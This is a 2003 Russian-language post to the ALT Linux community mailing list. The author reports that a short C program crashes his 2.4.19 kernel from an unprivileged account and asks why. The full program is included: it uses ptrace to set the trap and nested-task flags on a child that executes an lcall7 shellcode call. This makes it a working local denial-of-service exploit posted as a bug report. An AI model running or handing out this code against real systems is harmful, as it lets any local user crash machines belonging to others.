[Comm] kernel panic из-за ма-а-а-аленькой программки
Пушкин Сергей Алексеевич
=?iso-8859-1?q?pushkin_=CE=C1_asdg=2Eru?=
Пт Янв 10 06:19:12 MSK 2003
Приветсвую, всезнающий All
Вниманию ядерщиков (или ядрёнщиков :)) )
Есть такая программка:
//-------------------------------------------------------------
#include <sys/ptrace.h>
struct user_regs_struct
{
long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
long orig_eax, eip;
unsigned short cs, __cs;
long eflags, esp;
unsigned short ss, __ss;
};
int
main (void)
{
int pid;
char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
void (*lcall7) (void) = (void *) dos;
struct user_regs_struct d;
if (!(pid = fork ()))
{
usleep (1000);
(*lcall7) ();
}
else
{
ptrace (PTRACE_ATTACH, pid, 0, 0);
while (1)
{
wait (0);
ptrace (PTRACE_GETREGS, pid, 0, &d);
d.eflags |= 0x4100; /* set TF and NT */
ptrace (PTRACE_SETREGS, pid, 0, &d);
ptrace (PTRACE_SYSCALL, pid, 0, 0);
}
}
return 1;
}
//--------------------------------------------------------------
Компилируется и запускается.
В результате стабильный kernel panic даже от простого юзера
(честно говоря под рутом и не пробовал)
Сизиф от 25 декабря минувшего года
rpm -qa | grep kernel
kernel24-up-2.4.19-alt0.8
NVIDIA_kernel-up-2.4.19_1.0.3123-alt0.8
К чему бы это?
--
С уважением, Пушкин Сергей aka Stalker
UIN: 35113025
JID: stalker на jabber.ru
XMMS шуршит: MEGAHERZ - BEISS MICH
Скажите, здесь крыша не проезжала?
----------- следующая часть -----------
Было удалено вложение не в текстовом формате...
Имя : =?iso-8859-1?q?=CF=D4=D3=D5=D4=D3=D4=D7=D5=C5=D4?=
Тип : application/pgp-signature
Размер : 189 байтов
Описание: =?iso-8859-1?q?=CF=D4=D3=D5=D4=D3=D4=D7=D5=C5=D4?=
Url : <http://lists.altlinux.org/pipermail/community/attachments/20030110/b7342e79/attachment-0006.bin>
Подробная информация о списке рассылки community